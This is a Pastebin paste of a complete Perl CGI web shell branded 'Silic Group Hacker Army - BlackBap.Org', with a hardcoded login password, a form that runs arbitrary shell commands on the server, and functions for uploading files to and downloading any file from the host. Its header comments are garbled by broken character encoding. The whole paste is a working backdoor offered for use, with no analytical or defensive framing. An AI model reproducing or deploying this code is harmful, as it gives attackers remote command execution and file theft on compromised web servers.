Saint92

silic

Mar 28th, 2016
239
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 10.38 KB | None | 0 0
  1. #!/usr/bin/perl -I/usr/local/bandmin
  2. # ��һ��ָ����ȷ(�󲿷ֲ����޸�),������500,δ��װ������
  3. # �����Win������,����$WinNT=1;
  4. # ���ñ��ļ�����Ϊ755
  5. $Password="silic";
  6. $WinNT=0;
  7. $NTCmdSep="&";
  8. $UnixCmdSep=";";
  9. $CommandTimeoutDuration=50;
  10. $ShowDynamicOutput=1;
  11. $CmdSep=($WinNT ? $NTCmdSep : $UnixCmdSep);
  12. $CmdPwd=($WinNT ? "cd" : "pwd");
  13. $PathSep=($WinNT ? "\\" : "/");
  14. $Redirector=($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
  15. sub ReadParse{
  16.     local(*in)=@_ if @_;
  17.     local($i,$loc,$key,$val);
  18.     $MultipartFormData=$ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
  19.     if($ENV{'REQUEST_METHOD'} eq "GET"){$in=$ENV{'QUERY_STRING'};}
  20.     elsif($ENV{'REQUEST_METHOD'} eq "POST"){binmode(STDIN) if $MultipartFormData & $WinNT;read(STDIN, $in, $ENV{'CONTENT_LENGTH'});}
  21.     if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/){
  22.         $Boundary='--'.$1;
  23.         @list=split(/$Boundary/,$in);
  24.         $HeaderBody=$list[1];
  25.         $HeaderBody =~ /\r\n\r\n|\n\n/;
  26.         $Header=$`;
  27.         $Body=$';
  28.         $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
  29.         $in{'filedata'}=$Body;
  30.         $Header =~ /filename=\"(.+)\"/;
  31.         $in{'f'}=$1;
  32.         $in{'f'} =~ s/\"//g;
  33.         $in{'f'} =~ s/\s//g;
  34.         for($i=2; $list[$i]; $i++){
  35.             $list[$i] =~ s/^.+name=$//;
  36.             $list[$i] =~ /\"(\w+)\"/;
  37.             $key=$1;
  38.             $val=$';
  39.             $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
  40.             $val =~ s/%(..)/pack("c", hex($1))/ge;
  41.             $in{$key}=$val;}}
  42.     else{
  43.         @in=split(/&/, $in);
  44.         foreach $i (0 .. $#in){
  45.             $in[$i] =~ s/\+/ /g;
  46.             ($key, $val)=split(/=/, $in[$i], 2);
  47.             $key =~ s/%(..)/pack("c", hex($1))/ge;
  48.             $val =~ s/%(..)/pack("c", hex($1))/ge;
  49.             $in{$key} .= "\0" if (defined($in{$key}));
  50.             $in{$key} .= $val;}}
  51. }
  52. sub PrintPageHeader{
  53. $EncodedCurrentDir=$CurrentDir;
  54. $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  55. print "Content-type: text/html\n\n";
  56. print <<END;
  57. <html><head>
  58. <title>Silic Group Hacker Army - BlackBap.Org</title>
  59. $HtmlMetaHeader
  60. </head>
  61. <body onLoad="document.f.@_.focus()" style="background:#AAAAAA;" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
  62. <table style="width:955px;" align="center" border="0" cellspacing="0" cellpadding="2">
  63. <tr><td bgcolor="#293F5F"><font face="Verdana" size="2" color="#FFFFFF"><b><a href="$ScriptLocation">&nbsp;&#8857;&nbsp;</a>$ServerName:$ENV{'SERVER_PORT'} - $ENV{'SERVER_SOFTWARE'} - $ENV{'GATEWAY_INTERFACE'}</b></font></td></tr>
  64. <tr>
  65.     <td colspan="2" bgcolor="#FFFFE0"><font color="#FF0000" size="2">
  66.     &nbsp;&nbsp;<a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir">upload</a> |
  67.     <a href="$ScriptLocation?a=download&d=$EncodedCurrentDir">download</a> |
  68.     <a href="$ScriptLocation?a=logout">logout</a> |
  69.     power by <a href="http://blackbap.org" target="_blank">Silic Group</a>
  70. </font></td></tr>
  71. <tr><td>
  72. <font color="#006633" size="3">
  73. END
  74. }
  75. sub PrintLoginScreen{$Message;}
  76. sub PrintLoginFailedMessage{print "<code>Login Failed,Wrong Password,Do You Want Try Again...  //BlackBap.Org</code>";}
  77. sub PrintLoginForm{
  78. print <<END;
  79. <center>
  80. <form name="f" method="POST" action="$ScriptLocation">
  81. <div style="width:351px;height:201px;margin-top:100px;background:threedface;border-color:#FFFFFF #999999 #999999 #FFFFFF;border-style:solid;border-width:1px;">
  82. <div style="width:350px;height:22px;padding-top:2px;color:#FFFFFF;background:#293F5F;clear:both;"><b>Login</b></div>
  83. <div style="width:350px;height:80px;margin-top:50px;color:#000000;clear:both;">PASS:<input type="password" name="p" style="width:270px;"></div>
  84. <div style="width:350px;height:30px;clear:both;"><input type="submit" name="a" value="LOGIN" style="width:80px;"></div>
  85. </div>
  86. </form>
  87. </center>
  88. END
  89. }
  90. sub PrintPageFooter{print "</font></td></tr></table></body></html>";}
  91. sub GetCookies{@httpcookies=split(/; /,$ENV{'HTTP_COOKIE'});
  92. foreach $cookie(@httpcookies){($id, $val)=split(/=/, $cookie);$Cookies{$id}=$val;}}
  93. sub PrintLogoutScreen{print "<code>Logout Success...  //BlackBap.Org<br><br></code>";}
  94. sub PerformLogout{
  95.     print "Set-Cookie: SAVEDPWD=;\n";
  96.     &PrintPageHeader("p");
  97.     &PrintLogoutScreen;
  98.     &PrintLoginScreen;
  99.     &PrintLoginForm;
  100.     &PrintPageFooter;
  101. }
  102. sub PerformLogin {
  103.     if($LoginPassword eq $Password){
  104.         print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
  105.         &PrintPageHeader("c");
  106.         &PrintCommandLineInputForm;
  107.         &PrintPageFooter;
  108.     }else{
  109.         &PrintPageHeader("p");
  110.         &PrintLoginScreen;
  111.         if($LoginPassword ne ""){&PrintLoginFailedMessage;}
  112.         &PrintLoginForm;
  113.         &PrintPageFooter;
  114.     }
  115. }
  116. sub PrintCommandLineInputForm{
  117. $Prompt=$WinNT ? "$CurrentDir> ":"[Silic\@$ServerName $CurrentDir]\$ ";
  118. print <<END;
  119. <code>
  120. <form name="f" method="POST" action="$ScriptLocation">
  121. <input type="hidden" name="a" value="command">
  122. <input type="hidden" name="d" value="$CurrentDir">
  123. $Prompt
  124. <input type="text" name="c" style="width:550px;">
  125. </form>
  126. </code>
  127. END
  128. }
  129. sub PrintFileDownloadForm{
  130. $Prompt=$WinNT ? "$CurrentDir> " : "[r00t\@$ServerName $CurrentDir]\$ ";
  131. print <<END;
  132. <code>
  133. <form name="f" method="POST" action="$ScriptLocation">
  134. <input type="hidden" name="d" value="$CurrentDir">
  135. <input type="hidden" name="a" value="download">
  136. $Prompt download<br><br>
  137. Filename: <input type="text" name="f" size="35"><br><br>
  138. Download: <input type="submit" value="Begin">
  139. </form>
  140. </code>
  141. END
  142. }
  143. sub PrintFileUploadForm{
  144. $Prompt=$WinNT ? "$CurrentDir> " : "[r00t\@$ServerName $CurrentDir]\$ ";
  145. print <<END;
  146. <code>
  147. <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
  148. $Prompt upload<br><br>
  149. Filename: <input type="file" name="f" size="35"><br><br>
  150. Options: &nbsp;<input type="checkbox" name="o" value="overwrite">
  151. Overwrite if it Exists<br><br>
  152. Upload:&nbsp;&nbsp;&nbsp;<input type="submit" value="Begin">
  153. <input type="hidden" name="d" value="$CurrentDir">
  154. <input type="hidden" name="a" value="upload">
  155. </form>
  156. </code>
  157. END
  158. }
  159. sub CommandTimeout{
  160. if(!$WinNT){
  161. alarm(0);
  162. print <<END;
  163. </xmp>
  164. <code>
  165. Command exceeded maximum time of $CommandTimeoutDuration second(s).
  166. <br>Killed it!
  167. <code>
  168. END
  169. &PrintCommandLineInputForm;
  170. &PrintPageFooter;
  171. exit;}
  172. }
  173. sub ExecuteCommand{
  174.     if($RunCommand =~ m/^\s*cd\s+(.+)/){
  175.         $OldDir=$CurrentDir;
  176.         $Command="cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
  177.         chop($CurrentDir=`$Command`);
  178.         &PrintPageHeader("c");
  179.         $Prompt=$WinNT ? "$OldDir> " : "[r00t\@$ServerName $OldDir]\$ ";
  180.         print "<code>$Prompt $RunCommand</code>";
  181.     }else{
  182.         &PrintPageHeader("c");
  183.         $Prompt=$WinNT ? "$CurrentDir> " : "[r00t\@$ServerName $CurrentDir]\$ ";
  184.         print "<code>$Prompt $RunCommand</code><xmp>";
  185.         $Command="cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
  186.         if(!$WinNT){$SIG{'ALRM'}=\&CommandTimeout;alarm($CommandTimeoutDuration);}
  187.         if($ShowDynamicOutput){
  188.             $|=1;
  189.             $Command .= " |";
  190.             open(CommandOutput, $Command);
  191.             while(<CommandOutput>){$_ =~ s/(\n|\r\n)$//;print "$_\n";}
  192.             $|=0;
  193.         }else{print `$Command`;}
  194.         if(!$WinNT){alarm(0);}
  195.         print "</xmp>";
  196.     }
  197.     &PrintCommandLineInputForm;
  198.     &PrintPageFooter;
  199. }
  200. sub PrintDownloadLinkPage{
  201. local($FileUrl)=@_;
  202. if(-e $FileUrl){
  203.     $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  204.     $DownloadLink="$ScriptLocation?a=download&f=$FileUrl&o=go";
  205.     $HtmlMetaHeader="<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
  206.     &PrintPageHeader("c");
  207. print <<END;
  208. <code>
  209. Sending File $TransferFile...<br>
  210. If the download does not start automatically,
  211. <a href="$DownloadLink">Click Here</a>.
  212. </code>
  213. END
  214.     &PrintCommandLineInputForm;
  215.     &PrintPageFooter;
  216. }else{
  217.         &PrintPageHeader("f");
  218.         print "<code>&#19979;&#36733;&#22833;&#36133; $FileUrl: $!</code>";
  219.         &PrintFileDownloadForm;
  220.         &PrintPageFooter;}
  221. }
  222. sub SendFileToBrowser{
  223.     local($SendFile)=@_;
  224.     if(open(SENDFILE, $SendFile)) # file opened for reading
  225.     {if($WinNT){binmode(SENDFILE);binmode(STDOUT);}
  226.         $FileSize=(stat($SendFile))[7];
  227.         ($Filename=$SendFile) =~  m!([^/^\\]*)$!;
  228.         print "Content-Type: application/x-unknown\n";
  229.         print "Content-Length: $FileSize\n";
  230.         print "Content-Disposition: attachment; filename=$1\n\n";
  231.         print while(<SENDFILE>);
  232.         close(SENDFILE);
  233.     }
  234.     else{
  235.         &PrintPageHeader("f");
  236.         print "<code>&#19979;&#36733;&#22833;&#36133; $SendFile: $!</code>";
  237.         &PrintFileDownloadForm;
  238.         &PrintPageFooter;
  239.     }
  240. }
  241. sub BeginDownload{
  242. if(($WinNT & ($TransferFile =~ m/^\\|^.:/))|(!$WinNT & ($TransferFile =~ m/^\//))){$TargetFile=$TransferFile;}
  243. else{chop($TargetFile) if($TargetFile=$CurrentDir) =~ m/[\\\/]$/;$TargetFile .= $PathSep.$TransferFile;}
  244. if($Options eq "go"){&SendFileToBrowser($TargetFile);}else{&PrintDownloadLinkPage($TargetFile);}
  245. }
  246. sub UploadFile{
  247. if($TransferFile eq ""){&PrintPageHeader("f");&PrintFileUploadForm;&PrintPageFooter;return;}
  248.     &PrintPageHeader("c");
  249.     print "<code>Uploading $TransferFile to $CurrentDir...<br>";
  250.     chop($TargetName) if ($TargetName=$CurrentDir) =~ m/[\\\/]$/;
  251.     $TransferFile =~ m!([^/^\\]*)$!;
  252.     $TargetName .= $PathSep.$1;
  253.     $TargetFileSize=length($in{'filedata'});
  254.     if(-e $TargetName && $Options ne "overwrite"){print "Failed:&#30446;&#26631;&#25991;&#20214;&#24050;&#23384;&#22312;...<br>";
  255.     }else{
  256.         if(open(UPLOADFILE, ">$TargetName")){
  257.             binmode(UPLOADFILE) if $WinNT;
  258.             print UPLOADFILE $in{'filedata'};
  259.             close(UPLOADFILE);
  260.             print "Transfered $TargetFileSize Bytes.<br>";
  261.             print "File Path: $TargetName<br>";
  262.         }else{print "Failed: $!<br>";}
  263.     }
  264.     print "</code>";
  265.     &PrintCommandLineInputForm;
  266.     &PrintPageFooter;
  267. }
  268. sub DownloadFile{
  269.     if($TransferFile eq ""){&PrintPageHeader("f");&PrintFileDownloadForm;&PrintPageFooter;return;}
  270.     if(($WinNT & ($TransferFile =~ m/^\\|^.:/))|(!$WinNT & ($TransferFile =~ m/^\//))){$TargetFile=$TransferFile;}
  271.     else{chop($TargetFile) if($TargetFile=$CurrentDir) =~ m/[\\\/]$/;$TargetFile .= $PathSep.$TransferFile;}
  272.     if($Options eq "go"){&SendFileToBrowser($TargetFile);}
  273.     else{&PrintDownloadLinkPage($TargetFile);}
  274. }
  275. &ReadParse;
  276. &GetCookies;
  277. $ScriptLocation=$ENV{'SCRIPT_NAME'};
  278. $ServerName=$ENV{'SERVER_NAME'};
  279.  
  280. $LoginPassword=$in{'p'};
  281. $RunCommand=$in{'c'};
  282. $TransferFile=$in{'f'};
  283. $Options=$in{'o'};
  284. $Action=$in{'a'};
  285. $Action="LOGIN" if($Action eq "");
  286. $CurrentDir=$in{'d'};
  287. chop($CurrentDir=`$CmdPwd`) if($CurrentDir eq "");
  288. $LoggedIn=$Cookies{'SAVEDPWD'} eq $Password;
  289. if($Action eq "LOGIN" || !$LoggedIn){&PerformLogin;}
  290. elsif($Action eq "command"){&ExecuteCommand;}
  291. elsif($Action eq "upload"){&UploadFile;}
  292. elsif($Action eq "download"){&DownloadFile;}
  293. elsif($Action eq "logout"){&PerformLogout;}
Advertisement
Add Comment
Please, Sign In to add comment